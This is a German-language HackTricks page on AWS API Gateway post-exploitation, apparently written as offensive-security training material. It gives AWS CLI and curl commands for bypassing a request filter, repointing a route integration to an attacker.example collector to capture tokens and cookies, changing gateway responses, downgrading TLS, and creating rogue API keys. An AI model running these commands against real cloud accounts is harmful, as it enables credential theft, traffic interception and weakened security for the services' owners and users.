AWS - API Gateway Post Exploitation

Tip

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstütze HackTricks

API Gateway

Für weitere Informationen siehe:

AWS - API Gateway Enum

Zugriff auf nicht exponierte APIs

Du kannst einen Endpoint in https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint mit dem Service com.amazonaws.us-east-1.execute-api erstellen, den Endpoint in einem Netzwerk exponieren, auf das du Zugriff hast (potenziell über eine EC2-Maschine) und eine Security Group zuweisen, die alle Verbindungen erlaubt.
Dann kannst du von der EC2-Maschine aus auf den Endpoint zugreifen und somit das Gateway-API aufrufen, das zuvor nicht exponiert war.

Bypass Request body passthrough

This technique was found in this CTF writeup.

Wie in der AWS documentation im Abschnitt PassthroughBehavior angegeben, führt der Standardwert WHEN_NO_MATCH, beim Überprüfen des Content-Type-Headers der Anfrage, die Anfrage ohne Transformation an das Backend weiter.

Daher hatte das API Gateway im CTF ein Integration-Template, das verhinderte, dass die Flag in einer Antwort exfiltriert wurde, wenn eine Anfrage mit Content-Type: application/json gesendet wurde:

RequestTemplates:
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'

Wenn man jedoch eine Anfrage mit Content-type: text/json sendet, würde das diesen Filter umgehen.

Schließlich, da das API Gateway nur Get und Options erlaubte, war es möglich, eine beliebige dynamoDB-Abfrage ohne Begrenzung zu senden, indem man eine POST-Anfrage mit der Abfrage im Body schickte und den Header X-HTTP-Method-Override: GET verwendete:

curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json'  --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'

Usage Plans DoS

Im Enumeration-Abschnitt kannst du sehen, wie du den usage plan der Keys erhältst. Wenn du den Key hast und er auf X Verwendungen pro Monat begrenzt ist, könntest du ihn einfach verwenden und dadurch einen DoS verursachen.

Der API Key muss nur in einem HTTP-Header namens x-api-key enthalten sein.

Swap Route Integration To Exfil Traffic (HTTP APIs / apigatewayv2)

Wenn du eine HTTP API integration aktualisieren kannst, kannst du eine sensible Route (z. B. /login, /token, /submit) auf einen vom Angreifer kontrollierten HTTP-Endpunkt umleiten und stillschweigend Header und Body sammeln (Cookies, Authorization Bearer-Tokens, Session-IDs, API Keys, von internen Jobs gesendete Secrets, etc.).

Beispielworkflow:

REGION="us-east-1"
API_ID="<http_api_id>"

# Find routes and the integration attached to the interesting route
aws apigatewayv2 get-routes --region "$REGION" --api-id "$API_ID"
ROUTE_ID="<route_id>"
INTEGRATION_ID="$(aws apigatewayv2 get-route --region "$REGION" --api-id "$API_ID" --route-id "$ROUTE_ID" --query 'Target' --output text | awk -F'/' '{print $2}')"

# Repoint the integration to your collector (HTTP_PROXY / URL integration)
COLLECTOR_URL="https://attacker.example/collect"
aws apigatewayv2 update-integration --region "$REGION" --api-id "$API_ID" --integration-id "$INTEGRATION_ID" --integration-uri "$COLLECTOR_URL"

Hinweise:

  • Bei HTTP APIs treten Änderungen normalerweise sofort in Kraft (im Gegensatz zu REST APIs, bei denen Sie typischerweise eine Bereitstellung erstellen müssen).
  • Ob Sie auf eine beliebige URL verweisen können, hängt vom Integrationstyp/-konfiguration ab; in einigen Fällen können Sie beim Patchen auch den Integrationstyp ändern.

apigateway:UpdateGatewayResponse, apigateway:CreateDeployment

Ein Angreifer mit den Berechtigungen apigateway:UpdateGatewayResponse und apigateway:CreateDeployment kann eine vorhandene Gateway Response so ändern, dass sie benutzerdefinierte Header oder Antwortvorlagen enthält, die sensible Informationen leak oder bösartige Skripte ausführen.

API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"

# Update the Gateway Response
aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Potenzielle Auswirkungen: Leakage von sensiblen Informationen, Ausführen bösartiger Skripte oder unbefugter Zugriff auf API-Ressourcen.

Note

Weitere Tests erforderlich

apigateway:UpdateStage, apigateway:CreateDeployment

Ein Angreifer mit den Berechtigungen apigateway:UpdateStage und apigateway:CreateDeployment kann eine bestehende API Gateway stage ändern, um den Datenverkehr auf eine andere Stage umzuleiten oder die Cache-Einstellungen zu ändern, um unbefugten Zugriff auf zwischengespeicherte Daten zu erlangen.

API_ID="your-api-id"
STAGE_NAME="Prod"

# Update the API Gateway stage
aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Mögliche Auswirkungen: Unbefugter Zugriff auf zwischengespeicherte Daten, Unterbrechung oder Abfangen von API-Verkehr.

Note

Noch zu testen

apigateway:PutMethodResponse, apigateway:CreateDeployment

Ein Angreifer mit den Berechtigungen apigateway:PutMethodResponse und apigateway:CreateDeployment kann die Methodenantwort einer bestehenden API Gateway REST API-Methode so ändern, dass benutzerdefinierte Header oder Antwortvorlagen hinzugefügt werden, die sensible Informationen leak oder bösartige Skripte ausführen.

API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
STATUS_CODE="200"

# Update the method response
aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Potenzielle Auswirkungen: Offenlegung sensibler Informationen, Ausführen bösartiger Skripte oder unbefugter Zugriff auf API-Ressourcen.

Note

Test erforderlich

apigateway:UpdateRestApi, apigateway:CreateDeployment

Ein Angreifer mit den Berechtigungen apigateway:UpdateRestApi und apigateway:CreateDeployment kann die Einstellungen der API Gateway REST API ändern, um die Protokollierung zu deaktivieren oder die minimale TLS-Version zu ändern, wodurch die Sicherheit der API potenziell geschwächt wird.

API_ID="your-api-id"

# Update the REST API settings
aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Potenzielle Auswirkungen: Schwächung der Sicherheit der API, wodurch möglicherweise unautorisierter Zugriff ermöglicht oder sensible Informationen offengelegt werden.

Note

Tests erforderlich

apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, apigateway:CreateUsagePlanKey

Ein Angreifer mit den Berechtigungen apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, und apigateway:CreateUsagePlanKey kann neue API keys erstellen, sie mit usage plans verknüpfen und diese keys dann für unautorisierten Zugriff auf APIs verwenden.

# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')

# Create a new usage plan
USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')

# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY

Potentielle Auswirkungen: Unbefugter Zugriff auf API-Ressourcen, Umgehung von Sicherheitskontrollen.

Note

Test erforderlich

Tip

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstütze HackTricks